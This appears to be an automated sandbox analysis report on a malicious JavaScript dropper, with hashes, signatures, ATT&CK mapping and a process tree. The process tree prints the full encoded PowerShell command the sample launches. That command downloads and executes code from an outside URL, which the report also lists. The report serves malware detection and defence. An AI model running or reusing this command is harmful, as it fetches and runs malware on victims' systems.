8b60588bfb3e5743a093252a87c72ed4130be3a5fc70660cdd7d7e34c42ec888

General

Target
191Statm4447.js
Size 951KB
Sample210724-mxezhvn2qs
SHA256 8b60588bfb3e5743a093252a87c72ed4130be3a5fc70660cdd7d7e34c42ec888
MD5 56d536052b3019e00e974bf0dfd19549
SHA1 bd63fe24469e1b40ce428f03c947fbd146070182
SHA512 39966ee53572169192be8fb2d18ae5b72094a5287f54914d261f7a3430871cfed06ff9b1a8ca6abbe512686cefc3b272240ece186fbafe926076d47ef0fb2e8d
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://www.chipmania.it/points.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	504	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4028	504	WerFault.exe	78

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
504	powershell.exe
504	powershell.exe
504	powershell.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	504	powershell.exe
Token: SeDebugPrivilege	4028	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1696 wrote to memory of 2632	1696	wscript.exe	75
PID 1696 wrote to memory of 2632	1696	wscript.exe	75
PID 2632 wrote to memory of 504	2632	cmd.exe	78
PID 2632 wrote to memory of 504	2632	cmd.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\191Statm4447.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGgAaQBwAG0AYQBuAGkAYQAuAGkAdAAvAHAAbwBpAG4AdABzAC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGgAaQBwAG0AYQBuAGkAYQAuAGkAdAAvAHAAbwBpAG4AdABzAC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:504
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 504 -s 2308
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/504-121-0x0000022624870000-0x0000022624871000-memory.dmp

Download

memory/504-127-0x0000022622890000-0x0000022622892000-memory.dmp

Download

memory/504-129-0x0000022622893000-0x0000022622895000-memory.dmp

Download

memory/504-130-0x0000022624A20000-0x0000022624A21000-memory.dmp

Download

memory/504-145-0x0000022622896000-0x0000022622898000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads